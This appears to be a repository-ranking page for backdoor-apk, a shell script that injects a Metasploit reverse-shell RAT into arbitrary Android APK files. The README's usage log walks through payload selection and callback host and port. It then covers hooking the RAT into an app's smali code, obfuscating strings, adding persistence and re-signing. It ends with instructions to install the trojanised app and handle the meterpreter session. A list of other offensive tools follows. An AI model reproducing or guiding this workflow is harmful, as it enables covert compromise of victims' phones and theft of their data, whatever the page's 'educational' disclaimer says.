랭킹으로 돌아가기

dana-at-cp/backdoor-apk

Shell

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.

metasploitsmaliapktoolapkandroid-sdkandroidandroid-development
스타 성장
스타
2.4k
포크
713
주간 성장
이슈
10
1k2k
2016년 4월2019년 9월2023년 2월2026년 7월
README

backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.

Usage:

root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk 
          ________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Decompiling original APK file...done.
[*] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/baidu/browser/inter
[+] Smali file to hook RAT payload: com/baidu/browser/inter/BdApplication.smali
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Injecting helpful Java classes in RAT APK file...done.
[*] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/baidu/browser/inter/pjese
[+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym
[+] Generated new smali class name for MainService.smali: Aupyx
[+] Generated new smali class name for Payload.smali: Nwiuc
[+] Generated new smali class name for StringObfuscator.smali: Abnrw
[+] Generated new smali method name for StringObfuscator.obfuscate method: icobf
[+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk#

The recompiled APK will be found in the 'original/dist' directory. Install the APK on a compatible Android device, run it, and handle the meterpreter connection via the generated resource script: msfconsole -r backdoor-apk.rc

관련 저장소
infoslack/awesome-web-hacking

A list of web application security

MIT Licensepenetration-testingweb-hacking
7.2k1.3k
LasCC/HackTools

The all-in-one browser extension for offensive security professionals 🛠

TypeScriptnpmreverse-shellhacking
hacktools.sh
6.9k775
NullArray/AutoSploit

Automated Mass Exploiter

PythonPyPIGNU General Public License v3.0metasploitpython
5.2k1.2k
leebaird/discover

Custom Bash and Python scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux and Ubuntu.

ShellMIT Licensered-teambash
3.9k872
sabri-zaki/EasY_HaCk

Hack the World using Termux

PythonPyPIApache License 2.0termuxhackers
2.4k256
samugit83/redamon

An AI-powered agentic red team framework that automates offensive security operations, from reconnaissance to exploitation to post-exploitation, with zero human intervention.

PythonPyPIMIT Licenseagentic-aicybersecurity
2.2k457
hhhrrrttt222111/Ethical-Hacking-Tools

Complete Listing and Usage of Tools used for Ethical Hacking

Apache License 2.0ethical-hackingmetasploit
2.1k324
gushmazuko/metasploit_in_termux

Install Metasploit Framework 6 in Termux

ShellMIT Licenseandroidtermux
2k345
r00t-3xp10it/venom

venom - C2 shellcode generator/compiler/handler

Shellmetasploitmsfvenom
2k605
ihebski/A-Red-Teamer-diaries

RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.

pentestingredteam
1.9k315
1N3/Findsploit

Find exploits in local and online databases instantly

ShellOtherexploitsmetasploit
sn1persecurity.com
1.8k336
D4Vinci/One-Lin3r

Gives you one-liners that aids in penetration testing operations, privilege escalation and more

PythonPyPIGNU General Public License v3.0hackinghacking-tool
pypi.org/project/one-lin3r/
1.8k304